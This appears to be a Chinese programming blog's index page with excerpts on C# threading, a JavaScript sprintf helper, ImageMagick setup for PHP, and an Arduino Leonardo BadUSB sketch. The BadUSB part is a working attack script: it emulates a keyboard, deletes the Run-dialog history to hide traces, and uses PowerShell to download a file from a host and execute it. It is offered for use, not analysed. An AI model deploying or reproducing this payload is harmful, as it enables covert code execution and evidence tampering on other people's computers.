C#中 Thread,Task,Async/Await,IAsyncResult 的那些事儿!

说起异步,Thread,Task,async/await,IAsyncResult 这些东西肯定是绕不开的,今天就来依次聊聊他们

1.线程(Thread)

多线程的意义在于一个应用程序中,有多个执行部分可以同时执行;对于比较耗时的操作(例如io,数据库操作),或者等待响应(如WCF通信)的操作,可以单独开启后台线程来执行,这样主线程就不会阻塞,可以继续往下执行;等到后台线程执行完毕,再通知主线程,然后做出对应操作!

全文传送门

JS sprintf 自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 使用方法:sprintf("你好世界 %s %s", "Hello", "World");

sprintf: function (str) {
var args = arguments,
flag = true,
i = 1;

str = str.replace(/%s/g, function () {
var arg = args[i++];

if (typeof arg === 'undefined') {
flag = false;
return '';
}
return arg;
});
return flag ? str : '';
}

基于 Arduino Leonardo 的 BadUSB 下载文件并运行代码

Arduino Leonardo 的 BadUSB,适合于 Windows 平台,用 PowerShell 命令下载一个文件,并运行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void setup() {
Keyboard.begin(); // 开始键盘通讯
delay(5000); // 延时
Keyboard.press(KEY_LEFT_GUI); // win键
delay(500);
Keyboard.press('r'); // r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK); // 利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("cmd /c start /min reg delete hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\runmru /f&cmd /c start /min powershell $p = new-object system.net.webclient;$p.downloadfile('http://192.168.1.111/1.jpg', 'd:\\1.jpg');start d:\\1.jpg;exit");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.press(KEY_RETURN); // 按下回车键
Keyboard.release(KEY_RETURN); // 释放回车键
Keyboard.end(); // 结束键盘通讯
}

ImageMagick 扩展 PHP7.0 Windows x64 安装步骤

在 Windows x64 环境下安装 PHP7 的 ImageMagick 扩展步骤

ImageMagick是一个用于查看、编辑位图文件以及进行图像格式转换的开放源代码软件套装。它可以读取、编辑超过100种图象格式。ImageMagick以ImageMagick许可证(一个类似BSD的许可证)发布。

继续阅览